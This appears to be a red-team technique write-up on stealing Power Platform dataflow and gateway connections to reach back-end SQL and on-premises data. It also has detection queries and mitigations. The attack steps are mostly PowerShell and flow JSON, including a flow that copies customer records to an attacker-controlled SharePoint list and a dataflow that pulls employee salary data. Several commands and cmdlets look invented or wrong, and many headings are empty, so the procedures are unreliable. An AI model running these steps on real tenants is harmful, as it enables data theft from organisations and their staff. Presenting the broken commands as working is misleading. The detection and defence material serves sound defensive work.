| Attribute | Details | |—|—| | Technique ID | LM-AUTH-017 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | M365 (Microsoft 365) | | Severity | High | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Power Apps, Power Automate, Power BI with Dataflows enabled | | Patched In | N/A (Design behavior, requires mitigation) | | Author | SERVTEP – Artur Pchelnikau |
Concept: Power Platform Dataflows (in Power Apps, Power Automate, and Power BI) cache connection credentials to data sources (SQL databases, SharePoint, on-premises APIs, cloud services). When a dataflow owner or operator creates connections to databases or APIs, the credentials are stored encrypted but can be decrypted by users with Admin access to the environment or to the specific dataflow. An attacker who compromises a Power Platform creator or admin account can enumerate dataflow connections, extract cached credentials, and use those credentials to access the underlying data sources (databases, SharePoint, legacy APIs) that the dataflow connects to—effectively moving laterally from Power Platform into back-end systems.
Attack Surface: Power Apps environment, Power Automate cloud flows, Power BI semantic models, Dataflows connections, on-premises data gateway credentials, database connection strings.
Business Impact: Attacker gains access to back-end databases and on-premises systems via stolen dataflow credentials. Can exfiltrate customer data, financial records, or operational intelligence. Persistent access if dataflow owner account is compromised.
Technical Context: Credential extraction is possible if attacker has admin or creator role in Power Apps environment. Attacks typically take minutes once access is established. Detection is difficult because dataflow execution and credential refresh are legitimate operations.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.2.1, 6.3.4 | Power Platform admin roles and credential management | | DISA STIG | IA-5, SC-7 | Credential Management and Boundary Protection | | CISA SCuBA | PWR-1, PWR-5 | Power Platform governance and credential security | | NIST 800-53 | SC-7, IA-4 | Boundary Protection and Account Management | | GDPR | Art. 32 | Security of Processing (encryption of credentials) | | DORA | Art. 9 | Protection and Prevention (access control to data sources) | | NIS2 | Art. 21, Art. 27 | Cyber Risk Management; monitoring credential usage | | ISO 27001 | A.13.1.3, A.14.2.1 | Segregation of Duties; credential management | | ISO 27005 | Section 8.3.4 | Third-party/integration risk assessment |
Supported Platforms:
Tools:
Supported Versions: All Power Platform versions
Objective: Discover dataflows that connect to sensitive data sources.
Command (PowerShell - Power Apps CLI):
# Connect to Power Apps as admin
pac auth create -u -t "yourtenant.onmicrosoft.com"
# List all environments
pac admin list-environments
# Get specific environment ID
$envId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# List all flows (cloud flows and dataflows)
pac cloud-flow list --environment-id $envId
# Output: Lists all flows with their connection references
# Example output:
# Flow: Sales Data Import | Type: Dataflow | Owner: John Doe
# Flow: Customer ETL | Type: Automated | Owner: System Account
Expected Output:
Name Type Owner LastModified
---- ---- ----- -----------
Sales Data Import Dataflow John Doe 2026-01-08
Customer Data Refresh Dataflow Jane Smith 2026-01-09
Inventory Sync Flow Automation 2025-12-30
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Extract stored database credentials from dataflow connection.
Command (PowerShell - Power Platform API):
# Connect to Power Platform
Connect-PnPOnline -Url "https://yourtenant-admin.sharepoint.com" -Interactive
# Get dataflow connections
$dfId = "dataflow-guid" # From Step 1
$connections = Get-PowerAppFlow -FlowId $dfId
# Alternative: Use Microsoft Graph API to access Power Platform data
Connect-MgGraph -Scopes "PowerApps.Read.All"
# Query Power Platform API for dataflow connections
$apiUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/flows/$dfId"
$flow = Invoke-MgGraphRequest -Method GET -Uri $apiUrl
# Extract connection references
$flow.properties.connectionReferences | ForEach-Object {
Write-Host "Connection: $($_.displayName)"
Write-Host "Type: $($_.connectorId)"
Write-Host "Connection Details: $($_ | ConvertTo-Json)"
}
Expected Output:
Connection: SqlServer1
Type: Microsoft.SqlServer
Connection Details: {
"connectionName": "shared_sqlserver-1",
"connectorDisplayName": "SQL Server",
"source": "Implicit"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use shared connection to access underlying database.
Command (PowerShell - SQL Connection via Power Platform):
# If connection is shared, attacker can view connection properties
Connect-MgGraph -Scopes "PowerApps.Read.All"
# List all shared connections in environment
$connUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/connections"
$connections = Invoke-MgGraphRequest -Method GET -Uri $connUrl
# Find SQL Server connection
$sqlConn = $connections.value | Where-Object {$_.properties.displayName -like "*SQL*"}
# Extract connection details (including server address)
$sqlConn.properties | Select displayName, connectionString, connectionParameters
# If connection parameters include server address, construct connection:
# Server: yoursqlserver.database.windows.net
# Database: YourDatabase
# UserID: (encrypted in Power Platform storage)
# Password: (encrypted in Power Platform storage)
# Alternative: Use Power Platform connection reference to execute queries
# Dataflow will execute using stored credentials
Expected Output:
displayName : SQL Server - Contoso Database
connectionString : Server=yoursqlserver.database.windows.net;Database=ContosoData;User Id=****;Password=****
connectionParameters : {
"server": "yoursqlserver.database.windows.net",
"database": "ContosoData",
"authType": "SqlAuthentication"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create a cloud flow that extracts data from back-end database using stolen connection.
Command (Power Automate - Create Flow):
{
"displayName": "Data Export",
"definition": {
"triggers": {
"manual": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"QueryDatabase": {
"type": "ApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['sql_1']['connectionId']"
}
},
"method": "post",
"body": {
"query": "SELECT * FROM Customers WHERE Country = 'USA'"
},
"path": "/v2/datasets/@{encodeURIComponent(encodeURIComponent('yoursqlserver'))}/query/tables/@{encodeURIComponent(encodeURIComponent('Customers'))}/items"
}
},
"ExportToSharePoint": {
"type": "ApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['sharepointonline_1']['connectionId']"
}
},
"method": "post",
"body": {
"Body": "@body('QueryDatabase')"
},
"path": "/sites/@{encodeURIComponent(encodeURIComponent('yoursiteid'))}/lists/@{encodeURIComponent(encodeURIComponent('ExportedData'))}/items"
}
}
}
}
}
Execution (PowerShell):
# Create the malicious flow
$flowJson = Get-Content "C:\malicious-flow.json" | ConvertFrom-Json
# Deploy flow to Power Automate
$flowUri = "https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/$envId/flows"
$newFlow = Invoke-MgGraphRequest -Method POST -Uri $flowUri -Body $flowJson
# Execute the flow to extract data
$triggerId = $newFlow.id
Invoke-MgGraphRequest -Method POST -Uri "$flowUri/$triggerId/triggers/manual/listCallbackUrl"
# Retrieved data is now in attacker-controlled SharePoint list
Expected Output:
Flow created successfully: Data Export (ID: flow-guid)
Flow executed: Extracted 5000 customer records
Data location: https://yoursharep oint.com/sites/YourSite/lists/ExportedData
What This Means:
OpSec & Evasion:
Supported Versions: Power Platform with On-Premises Data Gateway (OPDG) enabled
Objective: Identify gateways that connect Power Platform to SQL Server / on-premises systems.
Command (PowerShell - Power Platform API):
Connect-MgGraph -Scopes "PowerApps.Read.All"
# Get all data gateways in tenant
$gwUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/gateways"
$gateways = Invoke-MgGraphRequest -Method GET -Uri $gwUrl
$gateways.value | ForEach-Object {
Write-Host "Gateway: $($_.displayName)"
Write-Host "Region: $($_.properties.region)"
Write-Host "Status: $($_.properties.statusOfTheGateway)"
Write-Host "Environments: $($_.properties.environmentsLinkedTo)"
}
Expected Output:
Gateway: On-Prem SQL Gateway
Region: Australia East
Status: Connected
Environments: Contoso-Prod, Contoso-Dev
Gateway: Finance Systems Gateway
Region: US South
Status: Connected
Environments: Finance-Prod
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Retrieve encrypted gateway credentials that connect to SQL Server.
Command (PowerShell - Extract Gateway Config):
# Connect as Power Apps admin (or use compromised account)
Connect-MgGraph -Scopes "PowerApps.Read.All", "PowerApps.Manage.All"
# Get gateway details
$gwId = "gateway-guid"
$gwUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/gateways/$gwId"
$gw = Invoke-MgGraphRequest -Method GET -Uri $gwUrl
# Gateway configuration includes connection details
$gw.properties | Select displayName, region, gatewayName
# Gateway credentials are encrypted with gateway's service account
# However, Power Apps admin can reset gateway password and re-register
# Alternative: Create new connection using existing gateway
$connUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/connections"
$body = @{
displayName = "SQL via Gateway"
connectionString = "Server=on-prem-sql.contoso.com;Database=HR;Trusted_Connection=true"
properties = @{
gateway = @{
id = "/providers/Microsoft.PowerApps/gateways/$gwId"
}
}
} | ConvertTo-Json
$newConn = Invoke-MgGraphRequest -Method POST -Uri $connUrl -Body $body
Expected Output:
displayName : SQL via Gateway
gatewayId : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
connectionId : yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
Status : Connected
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use gateway connection to extract data from on-premises SQL Server.
Command (PowerShell - Execute Dataflow Query):
# Create dataflow that queries on-premises database
$dfUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/dataflows"
$dfPayload = @{
displayName = "HR Data Sync"
description = "Sync HR data from on-premises"
connections = @(
@{
connectionId = "yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy" # Gateway connection from Step 2
connectionName = "SQLGateway"
}
)
definition = @{
entities = @(
@{
name = "Employees"
source = @{
query = "SELECT EmployeeID, FirstName, LastName, Email, Salary FROM Employees"
entityPath = "Employees"
}
}
)
}
} | ConvertTo-Json -Depth 10
# Create and execute dataflow
$df = Invoke-MgGraphRequest -Method POST -Uri $dfUrl -Body $dfPayload
# Dataflow executes query on on-premises database
# Retrieved data is cached in Power Platform
Write-Host "Dataflow created: $($df.properties.displayName)"
Write-Host "Entities synced: Employees"
Write-Host "Status: Executing"
Expected Output:
Dataflow created: HR Data Sync
Entities synced: Employees
Status: Executing
Dataflow completed:
- Employees: 10,000 records imported
- Last refresh: 2026-01-10 14:30:00
- Next refresh: Daily
What This Means:
OpSec & Evasion:
Atomic Red Team Test:
Simulation Command (Non-Destructive):
# Simulate enumeration of dataflows without accessing actual data
Connect-MgGraph -Scopes "PowerApps.Read.All"
# List all dataflows in tenant (informational only)
$dfUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments"
$envs = Invoke-MgGraphRequest -Method GET -Uri $dfUrl
$envs.value | ForEach-Object {
Write-Host "Environment: $($_.displayName)"
# Do NOT query actual dataflows (would show intrusion)
}
Write-Host "✓ Simulation complete - no actual data accessed"
Cleanup Command:
# No persistent artifacts created during simulation
Write-Host "Simulation artifacts cleaned up"
Reference: MITRE T1550
Version: 1.35.0+ Minimum Version: 1.30.0 Supported Platforms: Windows, macOS, Linux
Installation:
# Install via npm
npm install -g pac
# Or via Windows installer
# Download from Microsoft Power Platform Tools
Usage (Enumerate Flows):
pac auth create -u -t "yourtenant.onmicrosoft.com"
pac cloud-flow list --environment-id "env-guid"
Version: 2.10.0+ Minimum Version: 2.0.0
Installation:
Install-Module Microsoft.Graph -Force
Connect-MgGraph -Scopes "PowerApps.Read.All", "PowerApps.Manage.All"
Usage (Query Power Platform API):
$flows = Invoke-MgGraphRequest -Method GET -Uri "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/flows"
Rule Configuration:
o365:audit, powerappsazure:aad:audit, power_platformOperation, UserId, Resource, Properties.ConnectionNameSPL Query:
index=o365:audit source="PowerApps"
(Operation="Accessed connection" OR Operation="Updated dataflow" OR Operation="Created flow")
| stats count by UserId, Operation, ConnectionName
| where count > 5
| alert
What This Detects:
Manual Configuration Steps:
count > 5Rule Configuration:
AuditLogs, OfficeActivityUserId, Operation, ObjectIdKQL Query:
OfficeActivity
| where Workload == "PowerApps" and Operation in ("Created flow", "Updated dataflow", "Accessed connection")
| summarize ConnectionCount = dcount(ObjectId) by UserId, TimeGenerated
| where ConnectionCount > 3
| project UserId, ConnectionCount, TimeGenerated
Manual Configuration Steps:
Anomalous Power Platform Connection AccessHigh10 minutesAlert Name: “Unusual dataflow connection access detected”
Manual Configuration Steps:
Search-UnifiedAuditLog -Operations "Created flow", "Updated dataflow", "Accessed connection" `
-StartDate (Get-Date).AddDays(-7) -ResultSize 5000 |
Where-Object {$_.AuditData -like "*dataflow*" -or $_.AuditData -like "*connection*"} |
Select Timestamp, UserIds, ClientIP, AuditData |
Export-Csv "C:\PowerPlatformAccess.csv"
Manual Configuration Steps:
Implement Least Privilege for Power Platform Creators: Restrict who can create/modify dataflows and connections. Applies To Versions: All Power Platform environments
Manual Steps (Power Apps Admin Center):
Disable Direct Connection to On-Premises Databases: Block direct SQL connections; require data gateway encryption. Applies To Versions: All Power Platform with On-Premises Data Gateway
Manual Steps:
Audit Connection Access: Enable logging for all connection access and creation. Applies To Versions: All Power Platform (requires Power Apps audit policy)
Manual Steps (Microsoft Purview):
Implement Conditional Access for Power Platform: Require MFA and device compliance for all Power Platform access. Applies To Versions: All Power Platform environments
Manual Steps (Azure Portal):
Enforce MFA for Power PlatformImplement Data Loss Prevention (DLP) for Power Platform: Block dataflow exports containing sensitive data. Applies To Versions: All Power Platform (requires DLP licensing)
Manual Steps (Power Platform Admin Center):
Block Sensitive Data Exports via DataflowsDisable Dataflow Owner Sharing: Prevent dataflow owners from sharing access to others. Applies To Versions: All Power Platform
Manual Steps (Power Apps):
Implement Just-In-Time (JIT) Admin Access for Power Platform: Require approval for admin role elevation. Applies To Versions: Power Platform with Azure AD PIM
Manual Steps (Azure Portal):
# Check if dataflow creation is restricted
Get-PowerAppEnvironmentSetting -EnvironmentId $envId | Select DataflowCreationRestricted
# Expected: True (restricted to specific users)
# Check if On-Premises Data Gateway encryption is enabled
Get-PowerAppGateway | Select displayName, encryptionLevel
# Expected: encryptionLevel = "High" for all gateways
# Check audit logging is enabled
Get-AdminPowerAppsSetting | Select EnableDataflowAudit
# Expected: True
Expected Output (If Secure):
DataflowCreationRestricted : True
encryptionLevel : High
EnableDataflowAudit : True
What to Look For:
# Disable user's Power Apps license (removes access)
Set-MsolUserLicense -UserPrincipalName "attacker@company.com" -RemoveLicenses ENTERPRISEPACK
Manual (M365 Admin Center):
# Revoke all Power Platform sessions
# No direct PowerShell command; use Azure AD sign-out:
Revoke-AzureADUserAllRefreshToken -ObjectId "attacker@company.com"
# Export Power Platform audit logs
Search-UnifiedAuditLog -UserIds "attacker@company.com" -StartDate (Get-Date).AddDays(-7) `
-Operations "Created dataflow", "Created flow", "Accessed connection" -ResultSize 5000 |
Export-Csv "C:\Evidence\PowerPlatformActivity.csv"
# Export on-premises gateway logs
Get-EventLog -LogName Application -Source "PowerAppsGateway" |
Export-Csv "C:\Evidence\GatewayLogs.csv"
# Delete malicious dataflows
Remove-PowerApp -AppName "HR Data Sync" -EnvironmentName $envId
# Delete malicious connections
Remove-PowerAppConnection -ConnectionName "SQLGateway" -EnvironmentName $envId
# Reset connection credentials
Reset-PowerAppDataflowConnectionPassword -ConnectionId "connection-guid"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker obtains Power Platform creator credentials |
| 2 | Lateral Movement | [LM-AUTH-017] | Extract Power Platform Dataflow Credentials |
| 3 | Credential Access | [CA-UNSC-007] Unsecured Credentials (SQL connection strings) | Attacker obtains on-premises database credentials |
| 4 | Collection | [Collection] Database Query & Exfiltration | Attacker queries sensitive data |
| 5 | Impact | [Impact] Data Breach | Sensitive data exfiltrated (HR, Finance, Customer records) |
Technique Complexity: Medium (requires Power Platform creator role but exploitation is straightforward)
Detection Difficulty: Medium-High (legitimate dataflow operations can mask malicious intent)
Persistence Potential: High (attacker can schedule dataflows to run indefinitely)
Cross-Platform Applicability: M365-specific (Power Apps, Power Automate, Power BI integration)
Recovery Time: Days (requires identifying compromised dataflows and revoking connections)
Related Techniques:
| Connection Type | Risk Level | Data at Risk |
|---|---|---|
| SQL Server (on-prem via gateway) | Critical | Entire database (customers, employees, finances) |
| SharePoint Online | High | Documents, lists, site content |
| Dynamics 365 | High | CRM data (contacts, opportunities, accounts) |
| Azure SQL Database | Critical | Cloud-hosted sensitive data |
| Salesforce | High | Third-party customer data |
| Gmail / Outlook | Medium | Email content, contacts |
| Custom APIs | Varies | Depends on API (often sensitive) |
| On-Premises File Shares (via gateway) | Critical | All shared files (documents, configs, secrets) |